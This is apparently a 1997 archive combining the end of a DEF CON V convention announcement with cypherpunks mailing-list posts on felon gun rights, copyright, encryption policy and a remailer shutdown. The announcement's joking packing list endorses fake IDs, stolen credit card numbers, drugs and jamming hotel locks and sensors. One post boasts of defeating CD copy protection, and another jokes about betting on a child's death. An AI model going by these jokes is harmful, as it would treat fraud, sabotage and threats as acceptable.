untrusting?): Once every 5 minutes or more, the scoreboard machine will post a plaintext challenge. Every team that claims to own a server has to PGP-sign that challenge with the private key registered for that server and post the signed version on their machine. If a server can't respond within 3 minutes, then nobody owns it, and it's fair game to be taken back over by the goons. Specific rules will be available in print at DefCon before the game begins. This was a message from The People [> QUAKE COMPETITION: http://www.ctive.com/ntech/defcon.htm This year knightPhlight contacted me and wanted to organize a single elimination Quake competition to find out who that badest ass 'mo 'fo is. Check out the web site to get the rules, sign up, or to donate a computer the greater good of destruction. It is IMHO that Quake by id Software rules 3D action gaming. But who rules Quake? We'll find out this July 11th-13th at the DefCon Conference in Las Vegas. This isn't going to be a networked game intent on quickly eliminating as many players as possible in a single round. Rather, one-on-one games will be played to absolutely determine who the best really is. Of course, you already know your the best so why would you feel obligated to prove it? Because we'll give the first place winner $750. Now, being the wily person you are, I bet you would like to know where I got the money for the prizes. It'll come from your registration fee of $7.50. Any half wit can do the math and see the 10,000% return for the winner. But just for entering you'll be in a drawing for really kewl stuff. If you don't think its kewl you can just give us your email address and we'll be happy to send you a couple hundred thousand messages explaining why the prizes are great. [> NET CONNECTION AND TOPOLOGY: DefCon 5 Network Plan (v.99) Telecommunications ------------------ Media Type: T1 ESF/B8ZS (not D4/AMI) Service Provider: Las Vegas Digital Internet Telco: Sprint Equipment needed Equipment on-hand ---------------- ---------------------------------------------- CSU/DSU Verilink AS2000's with NCC 2301 cards (JC) Router Cisco 2501 (Lock) Net Admin server (Lock ) 10bT Hubs 16-port from Lock - need more to populate the room 10bT Cable (miles) Everybody bring their own - will need some extra to link hubs Network Services: ----------------- Web Server CU-reflector RealAudio Server IRC server? This year we are pre-building many of the network boxes so the net can go up first thing Friday. It looks like we will have a T1 line and we will break it out to 10 BaseT hubs. If you want in on the network bring along the appropriate cables and adapters. More Net Madness! The T1 bandwidth will allow us to do the following cool stuff: - Have several color quickcams and a CU-SeeMe reflector site set up so people not at the con can check out what's going on. During the convention check out the DEF CON web site to get the location of the reflector site. You should get and install the software needed to view CU-SeeMe streams in advance! - Have a RealAudio server set up to stream the speakers talks to those who can not attend. - Potentially play a competitive multi user game(s) over the net. NOTE! If you wish to participate interactively with the convention please e-mail me and we can coordinate something. It would be great to get people from all over the world involved. [> 5th ANNUAL SPOT THE FED CONTEST: The ever popular paranoia builder. Who IS that person next to you? "Like a paranoid version of pin the tail on the donkey, the favorite sport at this gathering of computer hackers and phone phreaks seems to be hunting down real and imagined telephone security and Federal and local law enforcement authorities who the attendees are certain are tracking their every move.. .. Of course, they may be right." - John Markhoff, NYT Basically the contest goes like this: If you see some shady MIB (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood to live and die in LA type lurking about, point him out. Just get my attention and claim out loud you think you have spotted a fed. The people around at the time will then (I bet) start to discuss the possibility of whether or not a real fed has been spotted. Once enough people have decided that a fed has been spotted, and the Identified Fed (I.F.) has had a say, and informal vote takes place, and if enough people think it's a true fed, or fed wanna-be, or other nefarious style character, you win a "I spotted the fed!" shirt, and the I.F. gets an "I am the fed!" shirt. NOTE TO THE FEDS: This is all in good fun, and if you survive unmolested and undetected, but would still secretly like an "I am the fed!" shirt to wear around the office or when booting in doors, please contact me when no one is looking and I will take your order(s). Just think of all the looks of awe you'll generate at work wearing this shirt while you file away all the paperwork you'll have to produce over this convention. I won't turn in any feds who contact me, they have to be spotted by others. DOUBLE SECRET NOTE TO FEDS: This year I am printing up extra "I am the Fed!" shirts, and will be trading them for coffee mugs, shirts or baseball hats from your favorite TLA. If you want to swap bring along some goodies and we can trade. Be stealth about it if you don't want people to spot you. Agents from foreign governments are welcome to trade too, but I gotta work on my mug collection and this is the fastest way. [> RAIL GUN DEMONSTRATION: (Friday) On Friday afternoon there will be a demonstration of a hand held rail gun. This garage project should be able to fire a graphite washer very, very fast. [> OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday) Another interesting creation to be tested on Friday in the desert. Come along and watch you cell phone antenna explode with power! See control channels crumble before you. [> RADIO BURST CANNON DEMONSTRATION: (Friday) While not quite a HERF gun, this should come close. The RBC should be able to produce up to or less than one MegaWatt for up to or less than one second. What will this do? Who knows! Come and find out. Obviously the above demonstrations will take place away from the local hospitals and casinos out in the desert someplace, so be prepared. HOTELS:---------------------------------------------------------------------- [> Book your room NOW!!! We have a block of rooms, but it is first come, [> first served. Rooms get released about one month before the convention. [> Book by June 9th or risk it. The room rates are quite cool this year. PRIMARY HOTEL: The Aladdin Hotel and Casino 3667 Las Vegas Blvd. South, Las Vegas, Nevada Built in 1966 it is one of the oldest hotels in Las Vegas that hasn't been blown up to make room for newer ones. It is quite nice and has Tennis courts, two swimming pools, Chinese, Vietnamese and Korean. A Seafood and steakhouse, Joe's Diner and a 24 hour coffee shop too. It's located next to the MGM Theme park on the strip. PHONE: 1-800-634-3424, reference the "DC Communications conference" for reservations. 702-736-0222 RATES: Single & Double rooms are $65 in the Garden section, $85 for the Tower. Suites are $250 to $350. All costs are plus 8% room tax. Rollaway beds are available for an additional $15 a night. STUFF IN VEGAS:-------------------------------------------------------------- URLs Listings of other hotels in Las Vegas, their numbers, WWW pages, etc. http://www.intermind.net/im/hotel.html http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html VENDORS / SPONSORS / RESEARCH:----------------------------------------------- If you are interested in selling something (shirts, books, computers, whatever) and want to get a table contact me for costs. If you have some pet research and you want to have the participants fill out anonymous questioners please contact me for the best way to do this. If you want to sponsor any event or part of DEF CON V in return for favorable mentions and media manipulation please contact me. For example in the past Secure Computing has sponsored a firewall hacking contest. MORE INFO:------------------------------------------------------------------- [> DEF CON Voice Bridge (801) 855-3326 This is a multi-line voice bbs, VMB and voice conference system. There are 5 or so conference areas, with up to eight people on each one. Anyone can create a free VMB, and there are different voice bbs sections for separate topics. This is a good neutral meeting place to hook up with others. The Voice bridge will be changing numbers soon, but the old number will refer you to the new location. The new spot won't suffer from "Phantom" bridges! [> MAILING LIST send emial to majordomo at merde.dis.org and in the body of the message include the following on a separate line each. subscribe dc-stuff dc-announce is used for convention updates and major announcements, dc-stuff is related to general conversation, planning rides and rooms, etc. [> WWW Site http://www.defcon.org/ Convention updates and archives from previous conventions are housed here. Past speakers, topics, and stuff for sale. Also a growing section of links to other places of interest and current events. [> The Third Annual California Car Caravan to DEF CON! http://www.netninja.com/caravan There are also some resources (links to other web sites and text files) generally related to DefCon--not specifically the California Caravan. These resources are available at: http://www.netninja.com/caravan/resources.html [> The DEF CON V Car ride sharing page: Use this site to arrange ride sharing to the convention from all over North America. If you can spare a seat for someone, or need to leech a ride go to the ride sharing page set up by Squeaky. http://garbage.bridge.net/~defcon/defcon.html [> EMAIL dtangent at defcon.org Send all email questions / comments to dtangent at defcon.org. It has been said that my email is monitored by various people. If you want to say something private, please do so with my pgp key (At the bottom of this announcement) I usually respond to everything, if not I'm swamped or had a system problem. [> GIVE ME MONEY! SNAIL MAIL PRE-REGISTRATION Send all written materials, pre-registrations, etc. to: DEF CON, 2709 E. Madison, Seattle WA, 98112 If you are pre-registering for $30 please make payable to DEF CON and include a name to which you want the registration to apply. I don't respond to registrations unless you request. DO YOU WANT TO HELP?--------------------------------------------------------- Here is what you can do if you want to help out or participate in some way: Donate stuff for the continuous giveaways and the various contests. Got extra ancient stuff, or new cool stuff you don't use anymore? Donate it to a good cause! One person was very happy over winning an osborne "portable" computer. ORGANIZE sharing a room or rides with other people in your area. Join the mailing list and let people know you have floor space or some extra seats in your car. Hey, what's the worst that can happen besides a trashed hotel room or a car-jacking? CREATE questions for hacker jeopardy (you know how the game is played) and email them to winn at infowar.com. No one helped out last year, so this year let's try. Everything from "Famous narks" to "unix bugs" is fair game. BRING a machine with a 10bt interface card, and get on the local network, trade pgp signatures, etc. FINAL CHECK LIST OF STUFF TO BRING:------------------------------------------ From: Enigma Here is a list of items to bring to DefCon. These are only suggestions. Your mileage may vary. :) Items to bring to DefCon ~~~~~ ~~ ~~~~~ ~~ ~~~~~~ Clothing - Comfortable shirts and pants/shorts - Socks, underwear, etc - Bathing suit - Toiletries (deodorant, toothbrush, comb, hair spray,..., giant tub of hair grease, Oxy pads, etc) - An extra towel (don't leave home without it. Anyway, doesn't it always seem that you run out of clean towels in the bathroom?) - Something cool, hip, pimp-o-matic, or ninja-riffic to wear Saturday night at the Black and White Ball You can skip the deodorant and extra clothing if all you are going to do is play "Magic: The Gathering" and "Quake." Everyone else does. Stuph - Your shades. Vegas is hot. The sun is bright. 'Nuff said. (If you wear eye glasses, I hear the clip-on, flip-up sunglasses are quite the fashion statement) - Sunscreen of at least SPF 100. After spending hundreds of hours in front of the monitor, who needs the sun to ruin their ghostly white tan? - A hat--preferably with a cool logo or catchy phrase like "Gandalf Routers," "Netscape," "Microsoft [with "sucks" scrawled below it in permanent marker]", "I [heart] [insert government institution: Cops, Feds, etc]"...you get the idea - Note book, palmtop, or laptop to take notes on during the speeches - [Micro]casette recorder to record the speeches (or everyone getting drunk in your room Saturday night, not knowing what they are saying, with no hope of remembering it...excellent blackmail material!) - Camcorder (see above...<>) - Digital camera--for all of the above reasons PLUS you can instantly upload the images through the T1 onto the net - Fake ID for all of you under 18/21 - Fake ID for everyone else, if you're planning something illegal - Your best jokes (Nooooo! Not the superman joke! Not the pink joke) - Your best hacking stories...these are all about something "your friend" did, aren't they? You wouldn't admit to doing anything illegal, now, would you? - Someone else's--oops, I mean "your" credit card numbers Fun - Your drug(s) of choice -- From caffeine to pot to speed to acid - Zippo and extra fuel. And while you're at it, put an extra flint (assuming you can find one in the back of your junk drawer) in the bottom. You always run out at just the wrong time. - Extra smokez (Splurge: get some cigars or cloves for the weekend) - Leather - Handcuffs and chains, nipple clamps, etc. - Saran wrap, duct tape, electrical tape, gaffer's tape - Candles (the drippy kind) - Incense - Oils - Your copy of "The Pocket Kama Sutra" (ISBN 0-7894-0437-0) - That corn starch and water "slime" that Light Ray (I believe) and others believed to be the ultimate thing, several DefCon's back. Tech - Laptop w/ Ethernet card - Extra laptop battery - A zip drive with a stack of disks containing all your soooper k-rad haxing utilities and g-files - 10bt/10b2 cabling - A small hub - You did remember to put a packet sniffer on your zip disk, right? Just checking. - Every power cord you could possibly need - A serial cable with a plethora of adapters so you can get each end to be male/female, 9pin/25pin, null-modem/straight - Cable to connect the above mentioned digital camera to the laptop - Scanner (modded, of course) - Frequency counter (I hear the "Scout" is pretty good) - HAM radio. Any band, any frequency. You didn't modify it to transmit on arbitrary frequencies, did you? Naughty monkey! - An assortment of tuned antennas - That zip disk has the FCC frequency allocations on it, right? - Your uber-elite organizer (the DOS based HP palmtops are quite cool) to collect handles and email addresses from people - High energy weapons ("Is that an unlicensed nuclear accelerator on your back?" "No, it's just a HERF gun." "Oh.") - Laser pointer (don't get kicked out of the hotel again, youz doodz) - Your "white courtesy phone" that you stole from the Monte Carlo last year - A microbroadcasting station with plenty of tuneage - Your lock picks or lock picking gun - A pocket-sized tool kit containing a modular screwdriver and plenty of attachments (flathead, philips, torx, hex, etc) - A pocket knife, pliers and wire cutters--or alternatively a Leatherman's tool - Hell, while you're at it: why not some bring bolt cutters, a sledge hammer, and a hack saw? - Telephone handset with alligator clips. Or, if you're uber- 31337, you have a lineman's butt set (with the serial number and telco logo filed off) - Bubble gum or epoxy putty--anything maleable and hardens. This is good for fixing hoses under the hood of your car. It's also useful to jam mechanical sensors (What would happen if the microwave always though it's door was open? Or if the elevator always thought there was someone blocking the path of the door? Wouldn't hotel security be pissed if they couldn't get into their security room because someone jammed a toothpick into the keyhole with krazy glue?) - An alabi - Spam - Multimeter - Cordless electric soldering iron - Parts box MY PGP KEY:------------------------------------------------------------------ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.1 mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg== =ngNC -----END PGP PUBLIC KEY BLOCK----- From usura at replay.com Tue Jul 1 10:47:22 1997 From: usura at replay.com (Alex de Joode) Date: Wed, 2 Jul 1997 01:47:22 +0800 Subject: Dr. Dobbs Cryptography and Security CD-ROM Message-ID: <199707011728.TAA02315@basement.replay.com> Peter Gutmann sez: [..] : What makes this case especially awkward is the fact that the CDROM can't : legally be sold outside the US, which means the only way the rest of the world : can get it is through illegal copies. Given the immense usefulness of : something like this, I'd say it's only a matter of time before bootleg copies : start appearing outside the US, but because of the USG's position we can't pay : for it even if we want to (DDJ wouldn't look too good if they accepted payment : for what they knew was illegally exported crypto). Perhaps a donation of the : same amount to charity would serve as some equivalent to payment... It would be nice to see a Dr. Dobbs CD at the HIP ... -- -aj- From frissell at panix.com Tue Jul 1 10:52:23 1997 From: frissell at panix.com (Duncan Frissell) Date: Wed, 2 Jul 1997 01:52:23 +0800 Subject: Marc Andreessen on encryption and CDA In-Reply-To: <3.0.32.19970701084404.006d101c@best.com> Message-ID: <3.0.2.32.19970701133757.035d5510@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:49 AM 7/1/97 -0700, geeman at best.com wrote: >I suppose that's why US displays the greatest income disparity between rich >and poor of >any of the industrialized nations? We don't know if this is true because no statistical series captures all "wealth." The underground economy here is supposedly 15% but higher in much of Europe. Also no country includes public benefits in income calculations although they are income and the higher US medical costs substantially increase the total income of those receiving Medicaid. Those comparisons are suspect because too much income is excluded from the calcs. >Why some 10 or 20 billionaires >collectively own more >wealth than some 20% of the world's population? Or were you being sarcastic? They don't. They own more "securities." If you total the discounted (present) value of the future income stream of 20% of the earth's population (adjusting for the probable massive income increases of the next 20 years of extreme boom times), and you count the value of personal property it comes to more than the current wealth of the top billionaires who after all are apparently worth less than a $trillion or two collectively. But I don't know what this all has to do with encryption policy, however. DCF -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N xLZKAHYvXWw= =F09z -----END PGP SIGNATURE----- From jya at pipeline.com Tue Jul 1 11:19:23 1997 From: jya at pipeline.com (John Young) Date: Wed, 2 Jul 1997 02:19:23 +0800 Subject: The Walsh Report Message-ID: <1.5.4.32.19970701174406.0067b530@pop.pipeline.com> Thanks to Anonymous (V) we offer the full Walsh report for the Australian government on encryption policy which critiques the validity of key escrow, as described in the news report posted by John Gilmore yesterday. It's a big one, 280K so we offer three versions: 1. Full report: http://jya.com/walsh-all.htm (280K) 2. Full report Zipped: http://jya.com/walsh-all.zip (93K) 3. Separate files for TOC and foreword, 6 chapters and annex: http://jya.com/walsh-rep.htm From ericm at lne.com Tue Jul 1 11:47:44 1997 From: ericm at lne.com (Eric Murray) Date: Wed, 2 Jul 1997 02:47:44 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: <199707011833.LAA16159@slack.lne.com> Tim May writes: [lots 'o stuff] > But how does a lifetime, blanket ban on possession of firearms--i.e., a > complete denial of Second Amendment rights--for any of tens of thousands of > claimed "felonies" fit with this "compelling need" model? What's the > compelling need for the state to deny Second Amendment rights for life to > someone convicted of fraud or money laundering? > > The compelling need appears to be related to the general trend of disarming > as many of the marks as possible, as soon as possible. Close. The complling need is for politicians to appear to be 'tough on crime'. Being 'tough on crime' gets you reelected. Being 'soft on crime' means you lose and have to find a real job. Taking away the rights of convicted criminals who have served their sentences makes you look tough on crime to the sheeple. The convicts and wimpy human-rights organizations like the ACLU might complain, but fuck 'em, they're liberals or criminals who get whatever we decide that they deserve. Hell, if it'll get people to vote for you, throw 'em in a mental hospital after they've served their terms, or publish their names so citizens can drive them out of town. It has little to do with disarming the population and lots to do with the climate of fear that politicans and the media have whipped up. With the downfall of communisim and the end of the cold war, the DOJ/FBI/NSA/prison system has become the new Military Industrial Complex. Need money to get elected? Vote for new prisons and the powerful Prison Guards lobby will help you out. Need a new pork-barrel project to help out your friends back in the district? Vote for federal dollars for more cops. Need to sell papers or TV ads? Tell people how bad crime is, everyone's afraid of the criminals they see on 'Cops'. More fear. More cops. More jails. We're marching towards the police state one jack-boot at a time. From kent at songbird.com Tue Jul 1 11:52:00 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 2 Jul 1997 02:52:00 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: <19970701113321.12042@bywater.songbird.com> On Tue, Jul 01, 1997 at 09:47:45AM -0700, Tim May wrote: > At 7:46 AM -0700 7/1/97, Paul Bradley wrote: [...] > > >I can see the point of view which accepts serving of sentence as being > >the end of punishment, and I do not accept a ban on firearms as being > >implicit in the commision of a felony, but if a court explicitly states > >that part of the punishment should be a X year or lifetime ban I can > >accept that. > > Does this mean that you would "accept" a wording which took away a released > convict's ability to speak freely, or to practice the religion of his > choice? > > ("Upon completion of your 6-month sentence for public blasphemy, you must > renounce Baalism and accept the religion so ordered by the court.") > > Why is this any different from taking away Second Amendment rights? At one level, it is not. Punishment intrinsically involves restriction on rights. Your right to free speech *is* restricted while you are in jail. Your right to practice your religion can be infringed -- you may not be able to have a prayer blanket, for example. When you are convicted of a felony you step into a different category as far as protection of rights are concerned. On another level, they are *different* rights. So, in practice, the rights to free speech and free religion are given greater weight. > There is sometimes a loophole for taking away some particular right, or > interfering with it in a special way, a la the language of "compelling > needs." This is how the courts look at the putative conflict of rights, as > in things like "the state has a compelling need to protect minors from > these materials." Then there's the related language of "overbroad." > > But how does a lifetime, blanket ban on possession of firearms--i.e., a > complete denial of Second Amendment rights--for any of tens of thousands of > claimed "felonies" fit with this "compelling need" model? What's the > compelling need for the state to deny Second Amendment rights for life to > someone convicted of fraud or money laundering? It's really more of an issue of practice, rather than principle. There is no disputing that once you are caught up in the criminal justice system your rights are constrained. The constitution guarantees the accused certain rights, to be sure, and the convicted rather less. But it is clear that the blanket provisions of the Bill of Rights simply don't apply to criminals. However, the issue is very complex. "The system" has a number of discretionary points -- variable sentencing regiems, time off for good behaviour, probation, parole -- all involve different levels of constraints on rights, all constitutional. In principle, once you accept that the state has the mandate to punish criminals, you accept that criminals lose rights. Period. As an anarchist you may say that the state has no such mandate. But then you have the messy problem of what to do with common criminals, and you end up with a state that you refuse to call a state. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From nobody at secret.squirrel.owl.de Tue Jul 1 12:33:09 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Wed, 2 Jul 1997 03:33:09 +0800 Subject: NRA and National Online Records Check bullshit Message-ID: <19970701175103.2307.qmail@squirrel.owl.de> Citizen-Unit T.C. May wrote: >(Somehow most people think it's OK that convicted felons lose their rights >to vote and to have guns. (Once they're released, of course.) Do they think >convicted felons no longer have religious freedom? Can no longer write as >they wish? Jeesh.) Citizen-Unit May is coming dangerously close to thought-crime in this message. The politically correct phrasing is as follows: "Since convicted felons lose their rights to vote and to have guns, surely there is no reason why they shouldn't also lose their rights to free speech and religious freedom. We must protect the children from such dangers." This issue provides clear support for our long tradition of compromising with the government on important issues - had we taken a "no compromise" stand on felon's rights to vote and own guns then we would not now be able to use that as justification for restricting further rights, just as prior compromise on the First Amendment rights of "child pornographers" has given the government a neccesary stepping-stone for restricting freedom of speech of adult pornographers and other authorized enemies. CompromiseMonger From tzeruch at ceddec.com Tue Jul 1 13:40:08 1997 From: tzeruch at ceddec.com (tzeruch at ceddec.com) Date: Wed, 2 Jul 1997 04:40:08 +0800 Subject: Hettinga's e$yllogism In-Reply-To: Message-ID: <97Jul1.161438edt.32259@brickwall.ceddec.com> The difference is that there are no borders on the internet. I can't move a physical storefront, nor an account at a local bank, but my virtual website and e-receipts can be 12 timezones and one hemisphere distant in a few minutes. Or even spread across 12 timezones and two hemispheres :). Just starting with strong crypto in the sense of things like PGP, add anonymous broadcast and M of N secret splitting and if the mind recovers from the mathematical boggle, the societal implications will be there to ponder. If money or ownership of property is data, it will be uncontrollable in a few years, if that. On Mon, 30 Jun 1997, Paul Bradley wrote: > > > juicy, but just as viable. And Nazi Germany is also proof that strong > > crypto really doesn't do much good when the rubber hoses can be > > deployed without hinderance. > > Strong crypto you must remember is only part of the solution. The reason > for the lack of direct response from the Jews during the holocaust was > the "legally elected" 3rd Reichs programme of disarming it`s citizens. > > Strong crypto along with other communication technologies provide a > strong and secure framework within which armed resistance can take place, > these same technologies also allow for infowarfare type attacks on the > infrastructure of whole countries or jurisdictions. > > > In fact, your safety and wealth depends in large measure on the > > protections provided by that government you scorn. In any healthy > > tyranny the jackboots would have been on your throat long ago, > > regardless of your little arsenal, and your money would be purchasing > > toys for the rulers. > > Well, tax money already does purchase toys for the rulers and the > jackboots are moving towards our throats slowly so no-one notices. Safety > and wealth derive from free market economies and rights to self-defence, > not from a government. From dl at dev.null Tue Jul 1 13:40:18 1997 From: dl at dev.null (Dead Lucky) Date: Wed, 2 Jul 1997 04:40:18 +0800 Subject: Has your privacy been invaded? Protected? Both? Message-ID: <199707012007.OAA28328@wombat.sk.sympatico.ca> geeman at best.com wrote: > I have been fairly careful and very jealous of my privacy; and then my name > and home address showed up on one of the name-search pages. I don't know if > it's still there, and I don't remember the link. But then the Similac > marketing Geniuses sent me something in the mail that even included the due > date of my expected child! And the predicted date of the death of your child is January 19, 2015, according to the Dead Lucky Assassination Bot statistics. The good news is that there is only $1.48 bet on this eventuality, so the chances are slim that anyone is going to go out of their way to collect (unless you are such a bad father that your child turns out to be a total asshole). D. Lucky From nobody at REPLAY.COM Tue Jul 1 14:38:29 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 2 Jul 1997 05:38:29 +0800 Subject: NRA and National Online Records Check bullshit Message-ID: <199707012111.XAA01109@basement.replay.com> Kent Crispin wrote: > However, the issue is very complex. "The system" has a number of > discretionary points -- variable sentencing regiems, time off for good > behaviour, probation, parole -- all involve different levels of > constraints on rights, all constitutional. No doubt the laws resulting in people going to jail for the rest of their life for a "third felony" (i.e. - a $10.00 bad check in Texas) are "constitutional." After the (black, go figure...) person was given a life sentence for a $10.00 bad check, someone quoted the standard justification, "It's not a _perfect_ system, but its the best one we've got." (Hint: It was not the defendant who said this.) The rapist/murderers that we hear about being released because of a lack of prison space wave cheery good-byes to their marihuana smoking and bad-check writing pals as they drive away from the prison. And the way this relates to encryption is... ...the rapist/murderers of the future might well be waving goodby to the cryptographers, as well, since they rarely use encryption, and thus might well have a shorter sentence than their crypto-devil cellmate. TruthMonger From nobody at REPLAY.COM Tue Jul 1 15:49:44 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 2 Jul 1997 06:49:44 +0800 Subject: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM Message-ID: <199707012155.XAA06734@basement.replay.com> Paul Bradley wrote: > I don`t believe in copyright in general, but I would be perfectly happy > to pay a US cpunk to send me a copy of this CD-ROM, *BUT*, physically > mailing a copy like this is more risky for the US Cpunk. I don`t believe > in ripping people off, and rarely copy copyrighted material, but I don`t > hold with copyright laws and see nothing wrong with this being posted. Copyright is for the purpose of people with ideas being financially rewarded in the same manner as those who manifest those ideas in the physical sphere (via print, recordings, machines, etc). As a recording musician I expected to get money for my recordings, just as everyone else in the chain of business did in making my music available to the end-user. (And just as a grocer who makes food available to his customers expects you to leave something in the till on your way out of the store.) I have never had any problem with someone recording a copy of my music from a purchased copy if they are a music lover with a thin pocket, or can't readily purchase it. If someone with a $2000.00 stereo wants to enjoy the fruits of my labor without contributing any money to my health and welfare, then I consider them to be just another thief. The bottom line with the Crypto CD-ROM is that we should each make an effort to support it at the level we are capable of, in the interest of promoting strong cryto. Buy it, if at all possible. If you download a copy on the net and can't afford $99.00, then send them $10.00, or $20.00, etc. If you can't afford to send them a nickle, then do what you can to promote their product. Provide pointers to their business, tell people about their products, etc. People who will give ten or twenty dollars to a charity when someone shows up at their door might use "shareware" for years without taking the time and trouble to send the creator some cash. Bottom line--take the time to recompense the vendor/creator at the level you are able. Technology may well enable us to take the product and give nothing in return to those who made it available, but doing so will not further our own beliefs and aims to any extent. If you just want to rip something off, go to the Whithouse, rip off some silverware, and send it to Dr. Dobbs. TruthMonger From rwright at adnetsol.com Tue Jul 1 18:11:32 1997 From: rwright at adnetsol.com (Ross Wright) Date: Wed, 2 Jul 1997 09:11:32 +0800 Subject: Clinton's Laissez-Faire Policy Message-ID: <199707020051.RAA24644@adnetsol.adnetsol.com> Tuesday July 1 6:28 PM EDT Clinton Unveils 'Hands Off' Internet Strategy WASHINGTON (Reuter) - Hailing the Internet as an engine for future economic growth, President Clinton Tuesday unveiled a largely laissez-faire policy to promote commerce in cyberspace unburdened by new government taxes. See More at: http://www.yahoo.com/headlines/970701/politics/stories/internet_6.html =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795 From nobody at REPLAY.COM Tue Jul 1 18:11:33 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 2 Jul 1997 09:11:33 +0800 Subject: C'punk elitists [was mailing list} In-Reply-To: <199707011318.PAA01313@basement.replay.com> Message-ID: <199707020023.CAA29587@basement.replay.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Such egotistical assholes! One of the events which would most benefit security, privacy, and freedom on the Internet would be for the mass of AOL users to begin using it. Don't I get sick of such elitist know-it-alls! TruthMonger 26 At 03:18 PM 7/1/97 +0200, Anonymous wrote: |When did it become acceptable to be so stupid??? How many systems-experts do you know who use |AOL frequently. | |OOh...I forgot about that new section, PGP For Dummies...(chuckle) | |C | | -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBM7mdlIGXJpqxt6QJEQInKgCfV/VkoapnUDei8SIY/HSEegnMT0YAoOfy DbCtdT0pwC8C7b8aofaW+X84 =vWQL -----END PGP SIGNATURE----- From tcmay at got.net Tue Jul 1 18:12:33 1997 From: tcmay at got.net (Tim May) Date: Wed, 2 Jul 1997 09:12:33 +0800 Subject: Liberating the Bits In-Reply-To: <199707012155.XAA06734@basement.replay.com> Message-ID: At 2:55 PM -0700 7/1/97, Anonymous wrote: > I have never had any problem with someone recording a copy of my >music from a purchased copy if they are a music lover with a thin >pocket, or can't readily purchase it. If someone with a $2000.00 >stereo wants to enjoy the fruits of my labor without contributing >any money to my health and welfare, then I consider them to be just >another thief. Well, my stereo system costs considerable more than $2000. And I copy CDs whenever I can. I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend of mine has really gone overboard, copying more than 4000 CDs (rock, blues, jazz, country, you name it) onto more than 1000 DATs. Given that a new CD typically costs about $16 US, and a blank DAT tape costs about $4 for a 3-hour tape, the savings are spectacular. (My friend uses a lot of the 4-hour DATs, but I don't trust them. They jam in some machines.) We get these CDs by borrowing from friends (who haven't gotten into DATs yet), and especially from libraries. My friend has library cards at more than 6 library systems, covering about 20 actual library sites. Each has thousands of CDs (though there is much duplication, and a lot of junk.) And I now have a SCMS defeating DAT machine, a Tascam DA-P1, so I can "mine" his collection of 4000+ CDs-on-DAT and make flawless digital copies. (The copies from a CD are flawless with any dubbing that uses the digital I/O, but DAT to DAT copies have been disabled on consumer-grade machines with SCMS, the Serial Copy Management System. SCMS defeaters reset the SCMS bits to allow any number of perfect copies.) Technology liberates the bits. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Tue Jul 1 21:07:21 1997 From: tcmay at got.net (Tim May) Date: Wed, 2 Jul 1997 12:07:21 +0800 Subject: Jeff's Side of the Story. Message-ID: <199707020337.UAA17514@you.got.net> There's been an ongoing discussion of the Huge Cojones remailer situation on the related newsgroups. This has a lot of relevance to our issues, and this is one of the more illuminating articles. --Tim > From: toxic at hotwired.com (Jeff Burchell) > Newsgroups: alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,alt.cypherpunks,comp.org.eff.talk,news.admin.net-abuse.misc > Subject: Jeff's Side of the Story. > Followup-To: alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,comp.org.eff.talk,news.admin.net-abuse.misc > Date: 1 Jul 1997 20:02:22 GMT > Organization: Content, Inc ... > > Anonymous (nobody at REPLAY.COM) wrote: > > : > Only Jeff knows the whole story. > > Actually, not even I know the whole story. If I truely knew who it was > that was orchestrating this attack, it would have stopped, one way or > another. The problem is, I don't know all the players (I have some > suspicions, which I'll elaborate on further in a little bit) but I don't > _really_ know who did it, and I really don't know why (other than a "I > don't like remailers, I think I'll shut one down"). And I really don't > know the background or what precipitated this. > > : > But I have to ask. Could this > : > just be an" I'm sick of this shit, f**k it, I quit, who needs this > : > aggravation, I'll just pull the plug and go have a beer" reaction > : > to what really seems like a fairly small problem. > > It 